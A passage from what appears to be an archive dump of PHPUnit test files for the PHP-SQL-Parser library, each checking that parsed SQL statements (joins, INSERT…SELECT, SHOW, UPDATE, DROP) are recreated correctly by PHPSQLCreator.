 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue104Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue104() {
        $sql = "SELECT a.*
        FROM iuz6l_menu_types AS a
        LEFT JOIN iuz6l_menu AS b ON b.menutype = a.menutype AND b.home != 0
        LEFT JOIN iuz6l_languages AS l ON (l.lang_code = language)
        WHERE (b.client_id = 0 OR b.client_id IS NULL)";

        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue104.sql', false);
        $this->assertSame($expected, $created, 'ref clause parentheses');

    }
}

PK     \N  N  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue248Test.phpnu [        <?php
/**
 * issue248.php
 *
 * Test case for PHPSQLCreator.
 */

namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue248Test extends \PHPUnit\Framework\TestCase {

	public function testIssue248() {
		/*
    	 * https://github.com/greenlion/PHP-SQL-Parser/issues/248
    	 * DROP INDEX doesn't get created.
    	 */
		$sql     = "DROP INDEX test ON wp_posts";
		$parser  = new PHPSQLParser( $sql );
		$creator = new PHPSQLCreator( $parser->parsed );
		$this->assertEquals( $creator->created, $sql, 'drop index statement' );
	}
}
PK     \zH	  H	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue86Test.phpnu [        <?php
/**
 * issue86.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue86Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue86() {
        $sql = "SELECT * FROM cities GROUP BY 1,2";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue86.sql', false);
        $this->assertSame($expected, $created, 'Expression pos should be handled within GROUP BY.');

    }
}

PK     \k	  k	  A  vendor/greenlion/php-sql-parser/tests/cases/creator/whereTest.phpnu [        <?php
/**
 * where.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class whereTest extends \PHPUnit\Framework\TestCase {
	
    public function testWhere() {
        $sql = "SELECT * FROM `table` `t` WHERE ( ( UNIX_TIMESTAMP() + 3600 ) > `t`.`expires` ) ";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'where.sql', false);
        $this->assertSame($expected, $created, 'expressions with function within WHERE clause');

    }
}

PK     \К    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue361Test.phpnu [        <?php

namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue361Test extends \PHPUnit\Framework\TestCase
{
    public function testIssue361()
    {
        $sql = 'SELECT IF(status = 1,1,0)FROM users INNER JOIN names ON(users.name = names.name)WHERE(users.id IN(123, 456))AND names.name = "adam"';
        $createdSql = 'SELECT IF(status = 1,1,0) FROM users INNER JOIN names ON (users.name = names.name) '
            . 'WHERE (users.id IN (123, 456)) AND names.name = "adam"';

        $parser = new PHPSQLParser();
        $creator = new PHPSQLCreator();

        $parser->parse($sql, true);

        $this->assertEquals($createdSql, $creator->create($parser->parsed));
    }
}
PK     \^3a  a  F  vendor/greenlion/php-sql-parser/tests/cases/creator/unaryMinusTest.phpnu [        <?php

/**
 * Test case which checks that queries like "SELECT -(0);" are created correctly.
 */

namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class UnaryMinusTest extends \PHPSQLParser\Test\AbstractTestCase {
    public function testUnaryMinus() {
        $query = "SELECT -(0);";
        $p = $this->parser->parse($query);
        $created = $this->creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'unaryminus.sql', false);
        $this->assertSame($expected, $created, 'unary minus is not created correctly');
    }
}
?>PK     \ؙ6E	  E	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue100Test.phpnu [        <?php
/**
 * issue100.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue100Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue100() {
        $query  = "SELECT 0 AS Zero FROM table";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue100.sql', false);
        $this->assertSame($expected, $created, 'lost alias for constants');

    }
}

PK     \K  K  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue105Test.phpnu [        <?php
/**
 * issue105.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue105Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue105() {
        $sql = "SELECT users0.user_name AS 'CIS UserName'
        	,calls.description AS 'Description'
        	,contacts2.first_name AS 'Contacts First Name'
        	,contacts2.last_name AS 'Contacts Last Name'
        	,calls_cstm.date_logged_c AS 'Date'
        	,calls_cstm.contact_type_c AS 'Contact Type'
        	,dbo.fn_GetAccountName(calls.parent_id) AS 'Account Name'
        FROM calls
        LEFT JOIN calls_cstm ON calls.id = calls_cstm.id_c
        LEFT JOIN users users0 ON calls.assigned_user_id = users0.id
        LEFT JOIN contacts contacts2 ON calls.contact_id = contacts2.id
        WHERE calls.deleted = 0
        	AND (
        		DATEADD(SECOND, 0, calls_cstm.date_logged_c) BETWEEN '2013-01-01'
        			AND '2013-12-31'
        		)
        ORDER BY dbo.fn_GetAccountName(calls.parent_id) ASC LIMIT 0
        	,15";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue105.sql', false);
        $this->assertSame($expected, $created, 'function within order-by');

    }
}

PK     \WY	  Y	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue129Test.phpnu [        <?php
/**
 * issue129.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue129Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue129() {
        $query  = "DROP TEMPORARY TABLE IF EXISTS t1, t2 CASCADE";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue129.sql', false);
        $this->assertSame($expected, $created, 'drop table should not fail');

    }
}

PK     \^-{~  ~  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue125Test.phpnu [        <?php

namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue125Test extends \PHPUnit\Framework\TestCase
{
    /**
     * @dataProvider indexHintsDataProvider
     * @param string $hintType
     */
    public function testIssue125FromIndexHint($hintType)
    {
        $sql = sprintf(
            'SELECT start_date FROM users %s INDEX (vacation_idx, users_idx) INNER JOIN vacation ON start_date = end_date',
            $hintType
        );

        $parser = new PHPSQLParser();
        $creator = new PHPSQLCreator();

        $parser->parse($sql, true);

        $this->assertEquals($sql, $creator->create($parser->parsed));
    }

    /**
     * @dataProvider indexHintsDataProvider
     * @param string $hintType
     */
    public function testIssue125JoinIndexHint($hintType)
    {
        $sql = sprintf(
            'SELECT start_date FROM users %s INDEX FOR JOIN (vacation_idx, users_idx) INNER JOIN vacation ON start_date = end_date',
            $hintType
        );

        $parser = new PHPSQLParser();
        $creator = new PHPSQLCreator();

        $parser->parse($sql, true);

        $this->assertEquals($sql, $creator->create($parser->parsed));
    }

    public function indexHintsDataProvider()
    {
        return array(
            array('USE'),
            array('FORCE'),
            array('IGNORE')
        );
    }
}
PK     \ 
=    C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue83Test.phpnu [        <?php
/**
 * issue83.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue83Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue83() {
        $parser = new PHPSQLParser();
        $sql = "INSERT INTO newTablename SELECT field1, field2, field3 FROM oldTablename where field1 > 100";
        $parser->parse($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue83a.sql', false);
        $this->assertSame($expected, $created, 'INSERT ... SELECT .. FROM ... WHERE');

        $parser = new PHPSQLParser();
        $sql = "INSERT INTO newTablename (SELECT field1, field2, field3 FROM oldTablename where field1 > 100)";
        $parser->parse($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue83b.sql', false);
        $this->assertSame($expected, $created, 'INSERT ... (SELECT .. FROM ... WHERE)');

        $parser = new PHPSQLParser();
        $sql = "INSERT INTO newTablename (field1, field2, field3) VALUES (1, 2, 3)";
        $parser->parse($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue83c.sql', false);
        $this->assertSame($expected, $created, 'INSERT ... (cols) VALUES (values)');

    }
}

PK     \U	  	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue81Test.phpnu [        <?php
/**
 * issue81.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue81Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue81() {
        $sql = "SELECT NOW()";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue81.sql', false);
        $this->assertSame($expected, $created, 'Select without FROM');

    }
}

PK     \4WA؊    C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue78Test.phpnu [        <?php
/**
 * issue78.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue78Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue78() {
        $sql = "show columns from `foo.bar`";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue78a.sql', false);
        $this->assertSame($expected, $created, 'show columns from');

        $sql = "show CREATE DATABASE `foo`";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue78b.sql', false);
        $this->assertSame($expected, $created, 'show create database');

        $sql = "show DATABASES LIKE '%bar%'";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue78c.sql', false);
        $this->assertSame($expected, $created, 'show databases like');

        $sql = "SHOW ENGINE foo STATUS";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue78d.sql', false);
        $this->assertSame($expected, $created, 'show engine status');

        $sql = "SHOW FULL COLUMNS FROM `foo.bar` FROM hohoho LIKE '%xmas%'";
        $parser = new PHPSQLParser($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue78e.sql', false);
        $this->assertSame($expected, $created, 'show full columns from like');

    }
}

PK     \    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue268Test.phpnu [        <?php
/**
 * issue268.php
 *
 * Test case for PHPSQLCreator.
 */

namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue268Test extends \PHPUnit\Framework\TestCase {

	public function testIssue268() {
		/*
    	 * https://github.com/greenlion/PHP-SQL-Parser/issues/268
    	 */
		$sql     = "UPDATE wp_rg_form_view SET count = count + 1,test = count(*) WHERE id = 239";
		$parser  = new PHPSQLParser( $sql );
		$creator = new PHPSQLCreator( $parser->parsed );
		$this->assertEquals( $creator->created, $sql);

		$sql     = "UPDATE wp_rg_form_view SET count = count + 1 WHERE id = 239";
		$parser  = new PHPSQLParser( $sql );
		$creator = new PHPSQLCreator( $parser->parsed );
		$this->assertEquals( $creator->created, $sql );

		$sql     = "UPDATE wp_rg_form_view SET total = count(test) WHERE id = 239";
		$parser  = new PHPSQLParser( $sql );
		$creator = new PHPSQLCreator( $parser->parsed );
		$this->assertEquals( $creator->created, $sql );
	}
}
PK     \5	  5	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue144Test.phpnu [        <?php
/**
 * issue144Test.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
